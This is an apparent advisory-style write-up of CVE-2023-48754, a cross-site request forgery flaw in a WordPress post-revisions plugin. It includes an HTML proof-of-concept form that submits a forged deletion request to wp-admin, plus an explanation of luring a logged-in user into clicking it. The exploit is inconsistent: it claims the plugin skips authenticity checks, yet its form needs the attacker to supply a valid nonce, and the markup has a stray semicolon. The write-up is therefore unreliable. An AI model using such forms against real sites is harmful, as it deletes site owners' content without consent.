The CVE-2023-48754 vulnerability pertains to a Cross-Site Request Forgery (CSRF) in the Wap Nepal Delete Post Revisions In WordPress plugin. This vulnerability allows malicious actors to perform unauthorized actions on a user's behalf without their consent. CSRF attacks typically exploit web applications that fail to validate or verify the origin or authenticity of user requests, leading to unwanted behaviors within the application. In this particular case, the Wap Nepal Delete Post Revisions In WordPress plugin is affected by this issue, impacting versions from n/a through 4.6.

Code Snippet

The code snippet demonstrates how the exploit works in the Delete Post Revisions In WordPress plugin. In this example, an attacker sends a crafted request that deletes a post revision belonging to a target user without their consent:

<html>
<head>
  <title>CSRF Attack Example</title>
</head>
<body>
  <h3>Delete Post Revision CSRF Attack</h3>
  <form action="http://target_website.com/wp-admin/admin.php?page=wp-delete-post-revisions&revision_id=<post_revision_id>&wpdpr_nonce=<csrf_token>"; method="POST">
    <input type="submit" value="Delete Post Revision">
  </form>
</body>
</html>

Note that the CSRF token <csrf_token> and the <post_revision_id> should be replaced by the attacker with appropriate values for a successful attack.

Exploit Details

The exploit targeting this vulnerability can be achieved by an attacker luring a logged-in user to visit a malicious page containing the HTML code shown above. The attack is successful when the user clicks the "Delete Post Revision" button. Since the plugin does not check the source and authenticity of the request, the functionality is executed on behalf of the logged-in user, leading to the unintended deletion of the post revision.
